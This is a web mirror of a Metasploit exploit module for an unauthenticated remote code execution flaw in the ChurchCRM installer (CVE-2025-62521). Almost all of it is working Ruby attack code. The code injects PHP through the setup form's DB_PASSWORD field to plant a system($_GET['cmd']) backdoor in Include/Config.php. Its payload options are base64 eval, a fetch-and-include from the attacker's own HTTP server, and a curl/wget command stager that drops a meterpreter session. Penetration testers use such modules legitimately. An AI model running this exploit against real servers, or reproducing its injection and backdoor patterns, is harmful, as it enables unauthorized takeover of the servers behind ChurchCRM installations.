Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/churchcrm_install_unauth_rce.rb
36035 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::HttpServer
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ChurchCRM Unauthenticated RCE 6.8.0',
18
'Description' => %q{
19
This module exploits an unauthenticated remote code execution
20
vulnerability in the installation process of ChurchCRM versions
21
6.8.0 and earlier. By sending a specially crafted POST request to
22
the 'setup' page, an attacker can execute arbitrary commands on the
23
target server. This module uploads a meterpreter payload to the
24
target server and executes it, allowing for remote code execution.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['LucasCsmt'],
28
'References' => [
29
[ 'GHSA', 'm8jq-j3p9-2xf3'],
30
[ 'CVE', '2025-62521']
31
],
32
'Platform' => ['linux', 'php'],
33
'Targets' => [
34
[
35
'Linux/unix Command (CmdStager)',
36
{
37
'Arch' => [ ARCH_X86, ARCH_X64 ],
38
'Platform' => ['linux'],
39
'Type' => :nix_cmdstager,
40
'DefaultOptions' => {
41
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="rm Include/Config.php"'
42
},
43
'CmdStagerFlavor' => [
44
'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
45
]
46
}
47
],
48
[
49
'PHP (In-Memory)',
50
{
51
'Arch' => [ ARCH_PHP ],
52
'Platform' => ['php'],
53
'Type' => :php_memory,
54
'DefaultOptions' => {
55
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
56
}
57
}
58
],
59
[
60
'PHP (fetch)',
61
{
62
'Arch' => [ ARCH_PHP ],
63
'Platform' => ['php'],
64
'Type' => :php_fetch,
65
'DefaultOptions' => {
66
'InitialAutoRunScript' => 'post/multi/general/execute COMMAND="php -r \"unlink(\'Include/Config.php\');\""'
67
}
68
}
69
],
70
],
71
'DisclosureDate' => '2025-12-17',
72
'DefaultTarget' => 0,
73
'Notes' => {
74
'Stability' => [CRASH_SAFE],
75
'Reliability' => [REPEATABLE_SESSION],
76
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
77
}
78
)
79
)
80
81
register_options(
82
[
83
OptString.new('TARGETURI', [true, 'Base path', '/']),
84
]
85
)
86
end
87
88
# Check if the target is up by accessing the setup page
89
def check
90
print_status('Checking if the target is reachable...')
91
92
res = send_request_cgi({
93
'method' => 'GET',
94
'uri' => normalize_uri(target_uri.path, 'setup', '/')
95
})
96
97
unless res && (res.code == 301 || res.code == 200 || res.code == 302)
98
fail_with(Failure::Unreachable, 'Target is not reachable')
99
return Exploit::CheckCode::Unknown('Target setup page is inaccessible')
100
end
101
102
version = res.headers['CRM-VERSION']
103
if version
104
print_status("Found ChurchCRM version: #{version}")
105
if Rex::Version.new(version) <= Rex::Version.new('6.8.0')
106
return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
107
else
108
return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
109
end
110
end
111
112
return Exploit::CheckCode::Appears
113
end
114
115
# Build the payload that will be into the installation form
116
#
117
# @return : the payload
118
def build_payload
119
case target['Type']
120
when :php_memory
121
b64_payload = Rex::Text.encode_base64(payload.encoded)
122
"#{rand_text_alpha(3)}'; eval(base64_decode(\"#{b64_payload}\")); //"
123
when :php_fetch
124
start_service
125
payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
126
"#{rand_text_alpha(3)}'; $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); //"
127
else
128
"#{rand_text_alpha(3)}'; system($_GET['cmd']); //"
129
end
130
end
131
132
# Send a POST request to the setup page in order to execute commands
133
def alter_config
134
print_status('Injecting backdoor into Include/Config.php via setup page...')
135
136
res = send_request_cgi({
137
'method' => 'POST',
138
'uri' => normalize_uri(target_uri.path, 'setup', '/'),
139
'vars_post' => {
140
'DB_SERVER_NAME' => rand_text_alpha(5..10),
141
'DB_SERVER_PORT' => '3306',
142
'DB_NAME' => rand_text_alpha(5..10),
143
'DB_USER' => rand_text_alpha(5..8),
144
'DB_PASSWORD' => build_payload,
145
'ROOT_PATH' => '/',
146
'URL' => "http://#{rand_text_alpha(5..10)}.com/"
147
}
148
})
149
150
msg = 'Failed to inject backdoor into Include/Config.php. ' \
151
'This can happen if the setup process has already been ' \
152
'completed or if the target is not vulnerable.'
153
fail_with(Failure::UnexpectedReply, msg) unless res&.code == 200
154
end
155
156
# Execute command on the target server
157
#
158
# @param cmd [String] the command to execute
159
def execute_command(cmd, _opts = {})
160
send_request_cgi({
161
'method' => 'GET',
162
'uri' => normalize_uri(target_uri.path),
163
'vars_get' => { 'cmd' => cmd }
164
})
165
end
166
167
# Execute PHP code on the target server in order to run the payload
168
def execute_php
169
print_status('Trying to execute the PHP payload')
170
171
send_request_cgi({
172
'method' => 'GET',
173
'uri' => normalize_uri(target_uri.path)
174
})
175
176
print_good('PHP payload successfully executed')
177
end
178
179
# Upload the payload to the target server
180
def execute_linux
181
print_status('Uploading payload to the target server...')
182
183
execute_cmdstager(
184
linemax: 500,
185
nodelete: false,
186
background: true,
187
temp: '/tmp'
188
)
189
190
print_good('Payload uploaded successfully.')
191
end
192
193
# Handles the incoming HTTP request and serves the payload to the target.
194
def on_request_uri(cli, _request)
195
p = payload.encoded
196
send_response(cli, p, {
197
'Content-Type' => 'application/x-httpd-php',
198
'Pragma' => 'no-cache'
199
})
200
end
201
202
def exploit
203
alter_config
204
205
case target['Type']
206
when :nix_cmdstager
207
execute_linux
208
else
209
execute_php
210
end
211
end
212
end
213
214